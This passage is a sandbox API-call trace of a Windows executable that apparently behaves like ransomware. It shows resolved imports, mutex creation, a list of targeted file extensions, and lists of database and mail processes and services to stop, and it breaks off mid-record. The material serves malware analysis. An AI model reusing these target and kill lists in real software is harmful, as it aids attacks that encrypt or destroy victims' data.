# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 14.03.2020 14:38:15.726 Process: id = "1" image_name = "mdskkv.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mdskkv.exe" page_root = "0x49883000" os_pid = "0x5e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdskkv.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xba0 [0046.745] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0046.746] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0046.746] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0046.746] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0046.746] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesW") returned 0x76d41b18 [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameW") returned 0x76d4dd0e [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameA") returned 0x76d5b6e0 [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexW") returned 0x76d4424c [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700 [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenA") returned 0x76d45a4b [0046.747] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3 [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76d41916 [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="OpenMutexW") returned 0x76d45151 [0046.748] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiW") returned 0x76d5d5cd [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiA") returned 0x76d43e8e [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="ReleaseMutex") returned 0x76d4111e [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="ExpandEnvironmentStringsW") returned 0x76d44173 [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceFrequency") returned 0x76d441f0 [0046.749] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="HeapReAlloc") returned 0x77c81f6e [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0046.750] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringW") returned 0x76d43bca [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringA") returned 0x76d43c5a [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTime") returned 0x76d45a96 [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="SystemTimeToFileTime") returned 0x76d45a7e [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0046.751] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0046.751] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0052.268] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0052.268] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExW") returned 0x777246ad [0052.268] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0052.268] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0052.269] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0052.269] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0052.269] GetProcAddress (hModule=0x77710000, lpProcName="OpenSCManagerW") returned 0x7771ca64 [0052.269] GetProcAddress (hModule=0x77710000, lpProcName="OpenServiceW") returned 0x7771ca4c [0052.269] GetProcAddress (hModule=0x77710000, lpProcName="CloseServiceHandle") returned 0x7772369c [0052.269] GetProcAddress (hModule=0x77710000, lpProcName="ControlService") returned 0x77737144 [0052.269] GetProcAddress (hModule=0x77710000, lpProcName="QueryServiceStatus") returned 0x77722a86 [0052.269] GetProcAddress (hModule=0x77710000, lpProcName="EnumDependentServicesW") returned 0x77711e3a [0052.269] GetProcAddress (hModule=0x77710000, lpProcName="EnumServicesStatusExW") returned 0x7771b466 [0052.269] LoadLibraryA (lpLibFileName="user32.dll") returned 0x77130000 [0056.642] GetProcAddress (hModule=0x77130000, lpProcName="SystemParametersInfoW") returned 0x771490d3 [0056.642] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x759d0000 [0060.991] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteExW") returned 0x759f1e46 [0060.992] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77c40000 [0060.992] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0060.992] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x75660000 [0061.317] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0061.317] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0061.317] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0061.317] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77230000 [0062.014] GetProcAddress (hModule=0x77230000, lpProcName="WSAStartup") returned 0x77233ab2 [0062.014] GetProcAddress (hModule=0x77230000, lpProcName="socket") returned 0x77233eb8 [0062.014] GetProcAddress (hModule=0x77230000, lpProcName="send") returned 0x77236f01 [0062.014] GetProcAddress (hModule=0x77230000, lpProcName="recv") returned 0x77236b0e [0062.015] GetProcAddress (hModule=0x77230000, lpProcName="connect") returned 0x77236bdd [0062.015] GetProcAddress (hModule=0x77230000, lpProcName="closesocket") returned 0x77233918 [0062.015] GetProcAddress (hModule=0x77230000, lpProcName="gethostbyname") returned 0x77247673 [0062.015] GetProcAddress (hModule=0x77230000, lpProcName="inet_addr") returned 0x7723311b [0062.015] GetProcAddress (hModule=0x77230000, lpProcName="ntohl") returned 0x77232d57 [0062.015] GetProcAddress (hModule=0x77230000, lpProcName="htonl") returned 0x77232d57 [0062.015] GetProcAddress (hModule=0x77230000, lpProcName="htons") returned 0x77232d8b [0062.015] GetProcessHeap () returned 0x5d0000 [0062.016] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x5e40c8 [0062.016] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=18218637982) returned 1 [0062.016] GetTickCount () returned 0x1146e5d [0062.016] GetCurrentProcessId () returned 0x5e4 [0062.018] GetTickCount () returned 0x1146e5d [0062.019] GetTickCount () returned 0x1146e5d [0062.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x5e40f0 [0062.019] GetVersion () returned 0x1db10106 [0062.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7) returned 0x5d36b0 [0062.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e0bd0 [0062.019] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e0bd0, Size=0x20) returned 0x5e4140 [0062.019] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4140, Size=0x40) returned 0x5e46b0 [0062.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x5e4900 [0062.020] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_WX1WYRA") returned 0x0 [0062.021] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_WX1WYRA") returned 0x84 [0062.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d36b0 | out: hHeap=0x5d0000) returned 1 [0062.021] lstrlenW (lpString="Global\\syncronize_") returned 18 [0062.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e46b0 | out: hHeap=0x5d0000) returned 1 [0062.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7) returned 0x5d36b0 [0062.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e0bd0 [0062.022] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e0bd0, Size=0x20) returned 0x5e4140 [0062.022] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4140, Size=0x40) returned 0x5e46b0 [0062.022] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x5f4908 [0062.023] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_WX1WYRU") returned 0x0 [0062.023] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_WX1WYRU") returned 0x88 [0062.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d36b0 | out: hHeap=0x5d0000) returned 1 [0062.023] lstrlenW (lpString="Global\\syncronize_") returned 18 [0062.023] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e46b0 | out: hHeap=0x5d0000) returned 1 [0062.023] GetVersion () returned 0x1db10106 [0062.023] GetCurrentProcess () returned 0xffffffff [0062.023] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0062.023] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0062.024] CloseHandle (hObject=0x8c) returned 1 [0062.024] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0062.024] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0062.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5d36b0 [0062.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e0bd0 [0062.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e0bd0, Size=0x20) returned 0x5e4140 [0062.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4140, Size=0x40) returned 0x5e46b0 [0062.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e46b0, Size=0x80) returned 0x5e46b0 [0062.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e46b0, Size=0x100) returned 0x5e46b0 [0062.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x34) returned 0x5e47b8 [0062.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e07c0 [0062.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e07d0 [0062.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e07e0 [0062.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e0bd0 [0062.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e47f8 [0062.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e0be8 [0062.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e47f8, Size=0x8) returned 0x5e47f8 [0062.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e0c00 [0062.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e47f8, Size=0x10) returned 0x5e47f8 [0062.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e0c18 [0062.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e0c30 [0062.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e47f8, Size=0x20) returned 0x5e47f8 [0062.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e0c48 [0062.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e0c60 [0062.026] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e07c0, Size=0x8) returned 0x5e07c0 [0062.026] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e07d0, Size=0x8) returned 0x5e07d0 [0062.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4820 [0062.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e0c78 [0062.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4830 [0062.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e0c90 [0062.026] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4830, Size=0x8) returned 0x5e4830 [0062.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604928 [0062.026] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4830, Size=0x10) returned 0x5e4830 [0062.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604940 [0062.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4848 [0062.026] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4830, Size=0x20) returned 0x5e4858 [0062.026] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e07c0, Size=0x10) returned 0x5e4830 [0062.026] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e07d0, Size=0x10) returned 0x5e4880 [0062.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e07c0 [0062.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604958 [0062.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e07d0 [0062.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604970 [0062.027] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e07d0, Size=0x8) returned 0x5e07d0 [0062.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4898 [0062.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604988 [0062.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e48a8 [0062.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6049a0 [0062.027] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e48a8, Size=0x8) returned 0x5e48a8 [0062.027] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4830, Size=0x20) returned 0x604d10 [0062.027] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4880, Size=0x20) returned 0x604d38 [0062.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4880 [0062.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6049b8 [0062.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4830 [0062.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6049d0 [0062.027] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4830, Size=0x8) returned 0x5e4830 [0062.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x604d60 [0062.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x604d80 [0062.028] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0062.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e46b0 | out: hHeap=0x5d0000) returned 1 [0062.028] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0062.062] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6049e8 [0062.062] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6049e8, Size=0x20) returned 0x5e4348 [0062.062] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4348, Size=0x40) returned 0x5e4708 [0062.062] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4708, Size=0x80) returned 0x5e4708 [0062.062] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4708, Size=0x100) returned 0x605058 [0062.062] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6049e8 [0062.062] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6049e8, Size=0x20) returned 0x5e4348 [0062.062] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4348, Size=0x40) returned 0x5e4708 [0062.063] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4708, Size=0x80) returned 0x5e4708 [0062.063] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4708, Size=0x100) returned 0x605160 [0062.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6049e8 [0062.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4708 [0062.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.063] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4708, Size=0x8) returned 0x5e4708 [0062.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e4718 [0062.063] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4708, Size=0x10) returned 0x5e4738 [0062.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x5e4750 [0062.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x5e4348 [0062.063] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4738, Size=0x20) returned 0x5e4770 [0062.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x5e4370 [0062.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16) returned 0x5e4798 [0062.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x5e4398 [0062.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604a18 [0062.064] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4708 [0062.064] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x605268 [0062.064] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4708, Size=0x8) returned 0x5e4708 [0062.064] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3c) returned 0x6052b0 [0062.064] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4708, Size=0x10) returned 0x5e4738 [0062.064] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x6052f8 [0062.064] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x605318 [0062.064] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4738, Size=0x20) returned 0x605338 [0062.064] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x605360 [0062.064] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0062.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605058 | out: hHeap=0x5d0000) returned 1 [0062.064] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0062.064] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605160 | out: hHeap=0x5d0000) returned 1 [0062.065] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6058e0 [0062.088] EnumServicesStatusExW (in: hSCManager=0x6058e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0062.092] GetLastError () returned 0xea [0062.092] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x6091e0 [0062.092] EnumServicesStatusExW (in: hSCManager=0x6058e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6091e0, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6091e0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0062.095] CloseServiceHandle (hSCObject=0x6058e0) returned 1 [0062.103] lstrlenW (lpString="Appinfo") returned 7 [0062.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0062.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0062.103] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0062.103] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0062.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0062.104] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0062.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.104] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0062.104] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0062.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0062.104] lstrlenW (lpString="AudioSrv") returned 8 [0062.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0062.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0062.105] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0062.105] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0062.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0062.105] lstrlenW (lpString="BFE") returned 3 [0062.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0062.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0062.105] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0062.105] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0062.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0062.105] lstrlenW (lpString="CryptSvc") returned 8 [0062.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0062.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0062.105] lstrcmpiW (lpString1="sqlwriter", 